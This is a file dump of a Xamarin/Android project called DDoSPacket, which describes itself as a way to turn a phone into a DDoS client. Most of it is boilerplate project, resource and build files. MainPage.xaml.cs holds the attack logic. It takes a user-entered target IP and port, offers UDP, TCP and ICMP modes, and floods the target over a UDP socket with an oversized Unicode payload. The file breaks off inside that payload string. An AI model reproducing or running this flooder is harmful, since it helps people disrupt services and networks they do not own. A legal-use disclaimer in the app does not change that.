├── DDoSPacket
├── DDoSPacket.sln
├── DDoSPacket
│ ├── DDoSPacket.Android
│ │ ├── Assets
│ │ │ └── AboutAssets.txt
│ │ ├── DDoSPacket.Android.csproj
│ │ ├── DDoSPacket.Android.csproj.user
│ │ ├── MainActivity.cs
│ │ ├── Properties
│ │ │ ├── AndroidManifest.xml
│ │ │ └── AssemblyInfo.cs
│ │ └── Resources
│ │ │ ├── AboutResources.txt
│ │ │ ├── Resource.designer.cs
│ │ │ ├── layout
│ │ │ ├── Tabbar.axml
│ │ │ └── Toolbar.axml
│ │ │ ├── mipmap-anydpi-v26
│ │ │ ├── icon.xml
│ │ │ └── icon_round.xml
│ │ │ ├── mipmap-hdpi
│ │ │ ├── SUS.ico
│ │ │ ├── icon.png
│ │ │ └── launcher_foreground.png
│ │ │ ├── mipmap-mdpi
│ │ │ ├── SUS.ico
│ │ │ ├── icon.png
│ │ │ └── launcher_foreground.png
│ │ │ ├── mipmap-xhdpi
│ │ │ ├── SUS.ico
│ │ │ ├── icon.png
│ │ │ └── launcher_foreground.png
│ │ │ ├── mipmap-xxhdpi
│ │ │ ├── SUS.ico
│ │ │ ├── icon.png
│ │ │ └── launcher_foreground.png
│ │ │ ├── mipmap-xxxhdpi
│ │ │ ├── SUS.ico
│ │ │ ├── icon.png
│ │ │ └── launcher_foreground.png
│ │ │ └── values
│ │ │ ├── colors.xml
│ │ │ └── styles.xml
│ └── DDoSPacket
│ │ ├── App.xaml
│ │ ├── App.xaml.cs
│ │ ├── DDoSPacket.csproj
│ │ ├── MainPage.xaml
│ │ ├── MainPage.xaml.cs
│ │ ├── icon.ico
│ │ └── obj
│ │ ├── DDoSPacket.csproj.nuget.cache
│ │ ├── DDoSPacket.csproj.nuget.g.props
│ │ ├── DDoSPacket.csproj.nuget.g.targets
│ │ └── Debug
│ │ └── netstandard2.0
│ │ ├── App.xaml.g.cs
│ │ ├── DDoSPacket.AssemblyInfo.cs
│ │ ├── DDoSPacket.AssemblyInfoInputs.cache
│ │ └── DDoSPacket.assets.cache
└── readme.txt
├── DDoSPacketAndroid
├── DDoSPacketAndroid.sln
└── DDoSPacketAndroid
│ ├── DDoSPacketAndroid.Android
│ ├── Assets
│ │ └── AboutAssets.txt
│ ├── DDoSPacketAndroid.Android.csproj
│ ├── DDoSPacketAndroid.Android.csproj.user
│ ├── MainActivity.cs
│ ├── Properties
│ │ ├── AndroidManifest.xml
│ │ └── AssemblyInfo.cs
│ └── Resources
│ │ ├── AboutResources.txt
│ │ ├── Resource.designer.cs
│ │ ├── layout
│ │ ├── Tabbar.axml
│ │ └── Toolbar.axml
│ │ ├── mipmap-anydpi-v26
│ │ ├── icon.xml
│ │ └── icon_round.xml
│ │ ├── mipmap-hdpi
│ │ ├── icon.png
│ │ └── launcher_foreground.png
│ │ ├── mipmap-mdpi
│ │ ├── icon.png
│ │ └── launcher_foreground.png
│ │ ├── mipmap-xhdpi
│ │ ├── icon.png
│ │ └── launcher_foreground.png
│ │ ├── mipmap-xxhdpi
│ │ ├── icon.png
│ │ └── launcher_foreground.png
│ │ ├── mipmap-xxxhdpi
│ │ ├── icon.png
│ │ └── launcher_foreground.png
│ │ └── values
│ │ ├── colors.xml
│ │ └── styles.xml
│ └── DDoSPacketAndroid
│ ├── App.xaml
│ ├── App.xaml.cs
│ ├── DDoSPacketAndroid.csproj
│ ├── MainPage.xaml
│ └── MainPage.xaml.cs
├── LICENSE
└── README.md
/DDoSPacket/DDoSPacket.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 15
4 | VisualStudioVersion = 15.0.28307.1831
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DDoSPacket.Android", "DDoSPacket\DDoSPacket.Android\DDoSPacket.Android.csproj", "{4151A9CA-0FF5-4A67-8860-44A7E5E88B8F}"
7 | EndProject
8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DDoSPacket", "DDoSPacket\DDoSPacket\DDoSPacket.csproj", "{3A4EFCA4-CD01-413A-ABBE-CBF67B2209D5}"
9 | EndProject
10 | Global
11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
12 | Debug|Any CPU = Debug|Any CPU
13 | Release|Any CPU = Release|Any CPU
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {4151A9CA-0FF5-4A67-8860-44A7E5E88B8F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {4151A9CA-0FF5-4A67-8860-44A7E5E88B8F}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {4151A9CA-0FF5-4A67-8860-44A7E5E88B8F}.Debug|Any CPU.Deploy.0 = Debug|Any CPU
19 | {4151A9CA-0FF5-4A67-8860-44A7E5E88B8F}.Release|Any CPU.ActiveCfg = Release|Any CPU
20 | {4151A9CA-0FF5-4A67-8860-44A7E5E88B8F}.Release|Any CPU.Build.0 = Release|Any CPU
21 | {4151A9CA-0FF5-4A67-8860-44A7E5E88B8F}.Release|Any CPU.Deploy.0 = Release|Any CPU
22 | {3A4EFCA4-CD01-413A-ABBE-CBF67B2209D5}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
23 | {3A4EFCA4-CD01-413A-ABBE-CBF67B2209D5}.Debug|Any CPU.Build.0 = Debug|Any CPU
24 | {3A4EFCA4-CD01-413A-ABBE-CBF67B2209D5}.Release|Any CPU.ActiveCfg = Release|Any CPU
25 | {3A4EFCA4-CD01-413A-ABBE-CBF67B2209D5}.Release|Any CPU.Build.0 = Release|Any CPU
26 | EndGlobalSection
27 | GlobalSection(SolutionProperties) = preSolution
28 | HideSolutionNode = FALSE
29 | EndGlobalSection
30 | GlobalSection(ExtensibilityGlobals) = postSolution
31 | SolutionGuid = {553EE62C-B488-468C-9BC2-DBA5E98E55DA}
32 | EndGlobalSection
33 | EndGlobal
34 |
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket.Android/Assets/AboutAssets.txt:
--------------------------------------------------------------------------------
1 | Any raw assets you want to be deployed with your application can be placed in
2 | this directory (and child directories) and given a Build Action of "AndroidAsset".
3 |
4 | These files will be deployed with you package and will be accessible using Android's
5 | AssetManager, like this:
6 |
7 | public class ReadAsset : Activity
8 | {
9 | protected override void OnCreate (Bundle bundle)
10 | {
11 | base.OnCreate (bundle);
12 |
13 | InputStream input = Assets.Open ("my_asset.txt");
14 | }
15 | }
16 |
17 | Additionally, some Android functions will automatically load asset files:
18 |
19 | Typeface tf = Typeface.CreateFromAsset (Context.Assets, "fonts/samplefont.ttf");
20 |
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket.Android/DDoSPacket.Android.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Debug
5 | AnyCPU
6 | {4151A9CA-0FF5-4A67-8860-44A7E5E88B8F}
7 | {EFBA0AD7-5A72-4C68-AF49-83D382785DCF};{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}
8 | {c9e5eea5-ca05-42a1-839b-61506e0a37df}
9 | Library
10 | DDoSPacket.Droid
11 | DDoSPacket.Android
12 | True
13 | Resources\Resource.designer.cs
14 | Resource
15 | Properties\AndroidManifest.xml
16 | Resources
17 | Assets
18 | false
19 | v8.1
20 | Xamarin.Android.Net.AndroidClientHandler
21 |
22 |
23 |
24 |
25 | false
26 | portable
27 | false
28 | bin\Debug
29 | DEBUG;
30 | prompt
31 | 4
32 | None
33 | false
34 | false
35 | false
36 | AnyCPU
37 | true
38 |
39 |
40 | false
41 | pdbonly
42 | true
43 | bin\Release
44 | prompt
45 | 4
46 | true
47 | false
48 | false
49 | false
50 | false
51 | true
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 | {51CD6DCF-5DBC-4AA1-8979-A7F0D1F87D2F}
106 | DDoSPacket
107 |
108 |
109 |
110 |
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket.Android/DDoSPacket.Android.csproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Samsung SM-G988N
5 | Android_Accelerated_x86_Oreo
6 |
7 |
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket.Android/MainActivity.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | using Android.App;
4 | using Android.Content.PM;
5 | using Android.Runtime;
6 | using Android.Views;
7 | using Android.Widget;
8 | using Android.OS;
9 |
10 | namespace DDoSPacket.Droid
11 | {
12 | [Activity(Label = "DDoSPacket", Icon = "@mipmap/icon", Theme = "@style/MainTheme", MainLauncher = true, ConfigurationChanges = ConfigChanges.ScreenSize | ConfigChanges.Orientation)]
13 | public class MainActivity : global::Xamarin.Forms.Platform.Android.FormsAppCompatActivity
14 | {
15 | protected override void OnCreate(Bundle savedInstanceState)
16 | {
17 | TabLayoutResource = Resource.Layout.Tabbar;
18 | ToolbarResource = Resource.Layout.Toolbar;
19 |
20 | base.OnCreate(savedInstanceState);
21 | global::Xamarin.Forms.Forms.Init(this, savedInstanceState);
22 | LoadApplication(new App());
23 | }
24 | }
25 | }
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket.Android/Properties/AndroidManifest.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket.Android/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 | using Android.App;
5 |
6 | // General Information about an assembly is controlled through the following
7 | // set of attributes. Change these attribute values to modify the information
8 | // associated with an assembly.
9 | [assembly: AssemblyTitle("DDoSPacket.Android")]
10 | [assembly: AssemblyDescription("")]
11 | [assembly: AssemblyConfiguration("")]
12 | [assembly: AssemblyCompany("")]
13 | [assembly: AssemblyProduct("DDoSPacket.Android")]
14 | [assembly: AssemblyCopyright("Copyright © 2014")]
15 | [assembly: AssemblyTrademark("")]
16 | [assembly: AssemblyCulture("")]
17 | [assembly: ComVisible(false)]
18 |
19 | // Version information for an assembly consists of the following four values:
20 | //
21 | // Major Version
22 | // Minor Version
23 | // Build Number
24 | // Revision
25 | //
26 | // You can specify all the values or you can default the Build and Revision Numbers
27 | // by using the '*' as shown below:
28 | // [assembly: AssemblyVersion("1.0.*")]
29 | [assembly: AssemblyVersion("1.0.0.0")]
30 | [assembly: AssemblyFileVersion("1.0.0.0")]
31 |
32 | // Add some common permissions, these can be removed if not needed
33 | [assembly: UsesPermission(Android.Manifest.Permission.Internet)]
34 | [assembly: UsesPermission(Android.Manifest.Permission.WriteExternalStorage)]
35 |
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/AboutResources.txt:
--------------------------------------------------------------------------------
1 | Images, layout descriptions, binary blobs and string dictionaries can be included
2 | in your application as resource files. Various Android APIs are designed to
3 | operate on the resource IDs instead of dealing with images, strings or binary blobs
4 | directly.
5 |
6 | For example, a sample Android app that contains a user interface layout (main.xml),
7 | an internationalization string table (strings.xml) and some icons (drawable-XXX/icon.png)
8 | would keep its resources in the "Resources" directory of the application:
9 |
10 | Resources/
11 | drawable-hdpi/
12 | icon.png
13 |
14 | drawable-ldpi/
15 | icon.png
16 |
17 | drawable-mdpi/
18 | icon.png
19 |
20 | layout/
21 | main.xml
22 |
23 | values/
24 | strings.xml
25 |
26 | In order to get the build system to recognize Android resources, set the build action to
27 | "AndroidResource". The native Android APIs do not operate directly with filenames, but
28 | instead operate on resource IDs. When you compile an Android application that uses resources,
29 | the build system will package the resources for distribution and generate a class called
30 | "Resource" that contains the tokens for each one of the resources included. For example,
31 | for the above Resources layout, this is what the Resource class would expose:
32 |
33 | public class Resource {
34 | public class drawable {
35 | public const int icon = 0x123;
36 | }
37 |
38 | public class layout {
39 | public const int main = 0x456;
40 | }
41 |
42 | public class strings {
43 | public const int first_string = 0xabc;
44 | public const int second_string = 0xbcd;
45 | }
46 | }
47 |
48 | You would then use R.drawable.icon to reference the drawable/icon.png file, or Resource.layout.main
49 | to reference the layout/main.xml file, or Resource.strings.first_string to reference the first
50 | string in the dictionary file values/strings.xml.
51 |
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/layout/Tabbar.axml:
--------------------------------------------------------------------------------
1 |
2 |
12 |
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/layout/Toolbar.axml:
--------------------------------------------------------------------------------
1 |
9 |
10 |
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/mipmap-anydpi-v26/icon.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/mipmap-anydpi-v26/icon_round.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/mipmap-hdpi/SUS.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/blueskychan-dev/DDoSPacket/d2c4be695227672ea3023cc6d7cf807c71a61007/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/mipmap-hdpi/SUS.ico
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/mipmap-hdpi/icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/blueskychan-dev/DDoSPacket/d2c4be695227672ea3023cc6d7cf807c71a61007/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/mipmap-hdpi/icon.png
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/mipmap-hdpi/launcher_foreground.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/blueskychan-dev/DDoSPacket/d2c4be695227672ea3023cc6d7cf807c71a61007/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/mipmap-hdpi/launcher_foreground.png
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/mipmap-mdpi/SUS.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/blueskychan-dev/DDoSPacket/d2c4be695227672ea3023cc6d7cf807c71a61007/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/mipmap-mdpi/SUS.ico
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/mipmap-mdpi/icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/blueskychan-dev/DDoSPacket/d2c4be695227672ea3023cc6d7cf807c71a61007/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/mipmap-mdpi/icon.png
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/mipmap-mdpi/launcher_foreground.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/blueskychan-dev/DDoSPacket/d2c4be695227672ea3023cc6d7cf807c71a61007/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/mipmap-mdpi/launcher_foreground.png
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/mipmap-xhdpi/SUS.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/blueskychan-dev/DDoSPacket/d2c4be695227672ea3023cc6d7cf807c71a61007/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/mipmap-xhdpi/SUS.ico
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/mipmap-xhdpi/icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/blueskychan-dev/DDoSPacket/d2c4be695227672ea3023cc6d7cf807c71a61007/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/mipmap-xhdpi/icon.png
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/mipmap-xhdpi/launcher_foreground.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/blueskychan-dev/DDoSPacket/d2c4be695227672ea3023cc6d7cf807c71a61007/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/mipmap-xhdpi/launcher_foreground.png
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/mipmap-xxhdpi/SUS.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/blueskychan-dev/DDoSPacket/d2c4be695227672ea3023cc6d7cf807c71a61007/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/mipmap-xxhdpi/SUS.ico
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/mipmap-xxhdpi/icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/blueskychan-dev/DDoSPacket/d2c4be695227672ea3023cc6d7cf807c71a61007/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/mipmap-xxhdpi/icon.png
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/mipmap-xxhdpi/launcher_foreground.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/blueskychan-dev/DDoSPacket/d2c4be695227672ea3023cc6d7cf807c71a61007/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/mipmap-xxhdpi/launcher_foreground.png
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/mipmap-xxxhdpi/SUS.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/blueskychan-dev/DDoSPacket/d2c4be695227672ea3023cc6d7cf807c71a61007/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/mipmap-xxxhdpi/SUS.ico
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/mipmap-xxxhdpi/icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/blueskychan-dev/DDoSPacket/d2c4be695227672ea3023cc6d7cf807c71a61007/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/mipmap-xxxhdpi/icon.png
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/mipmap-xxxhdpi/launcher_foreground.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/blueskychan-dev/DDoSPacket/d2c4be695227672ea3023cc6d7cf807c71a61007/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/mipmap-xxxhdpi/launcher_foreground.png
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/values/colors.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | #FFFFFF
4 | #3F51B5
5 | #303F9F
6 | #FF4081
7 |
8 |
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket.Android/Resources/values/styles.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
6 |
7 |
26 |
27 |
30 |
31 |
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket/App.xaml:
--------------------------------------------------------------------------------
1 |
2 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket/App.xaml.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using Xamarin.Forms;
3 | using Xamarin.Forms.Xaml;
4 |
5 | [assembly: XamlCompilation(XamlCompilationOptions.Compile)]
6 | namespace DDoSPacket
7 | {
8 | public partial class App : Application
9 | {
10 | public App()
11 | {
12 | InitializeComponent();
13 |
14 | MainPage = new MainPage();
15 | }
16 |
17 | protected override void OnStart()
18 | {
19 | // Handle when your app starts
20 | }
21 |
22 | protected override void OnSleep()
23 | {
24 | // Handle when your app sleeps
25 | }
26 |
27 | protected override void OnResume()
28 | {
29 | // Handle when your app resumes
30 | }
31 | }
32 | }
33 |
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket/DDoSPacket.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | netstandard2.0
5 | Make own Phone become DDoS Client without Termux or PC!
6 | fusedevgithub
7 | https://opensource.org/licenses/MIT
8 | Beta Version
9 | 0.5.0
10 | icon.ico
11 | https://github.com/fusedevgithub/DDoSPacket/
12 |
13 |
14 |
15 | pdbonly
16 | true
17 | false
18 | NU1605
19 |
20 |
21 |
22 |
23 | false
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 | ..\..\..\..\..\..\..\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\ReferenceAssemblies\Microsoft\Framework\MonoAndroid\v8.1\Mono.Android.dll
34 |
35 |
36 |
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket/MainPage.xaml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket/MainPage.xaml.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Threading.Tasks;
6 | using Xamarin.Forms;
7 | using System.Net;
8 | using System.Net.Sockets;
9 | using System.Threading;
10 | using Android.App;
11 | using System.Net.NetworkInformation;
12 |
13 | namespace DDoSPacket
14 | {
15 | public partial class MainPage : ContentPage
16 | {
17 | public int amountint = 0;
18 | public int amountfint = 0;
19 | public MainPage()
20 | {
21 | InitializeComponent();
22 | NP.Items.Add("UDP");
23 | NP.Items.Add("TCP");
24 | NP.Items.Add("ICMP");
25 | startup();
26 | }
27 | void startup()
28 | {
29 | Device.StartTimer(TimeSpan.FromMilliseconds(50), () =>
30 | {
31 | DisplayAlert("Welcome", "Warning: We are not responsible for any damage caused by this application please legally to use only! \nVersion: 0.7.5 Beta \nUpdate:\n -Fix attack status bugs\n -Add ICMP Methods\n -Update packet size for UDP.", "OK");
32 | return false;
33 | });
34 | }
35 | void update()
36 | {
37 | Device.StartTimer(TimeSpan.FromMilliseconds(50), () =>
38 | {
39 | int checkdone = amountint + amountfint;
40 | if (checkdone == int.Parse(thread.Text))
41 | {
42 | DisplayAlert("Attack Status", "Attack success\nAmount: " + amountint + "\nFailed: " + amountfint + "\nType: " + NP.SelectedItem, "OK");
43 | amountfint = 0;
44 | amountint = 0;
45 | }
46 | else
47 | {
48 | amount.Text = "Packet are send success: " + amountint;
49 | amountf.Text = "Packet are send unsuccess: " + amountfint;
50 | }
51 | return true;
52 | });
53 | }
54 |
55 | void start(object sender, EventArgs args)
56 | {
57 | Socket sock = new Socket(AddressFamily.InterNetwork, SocketType.Dgram,
58 | ProtocolType.Udp);
59 | IPAddress serverAddr = IPAddress.Parse(ip.Text);
60 | IPEndPoint endPoint = new IPEndPoint(serverAddr, int.Parse(port.Text));
61 | string text = "﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽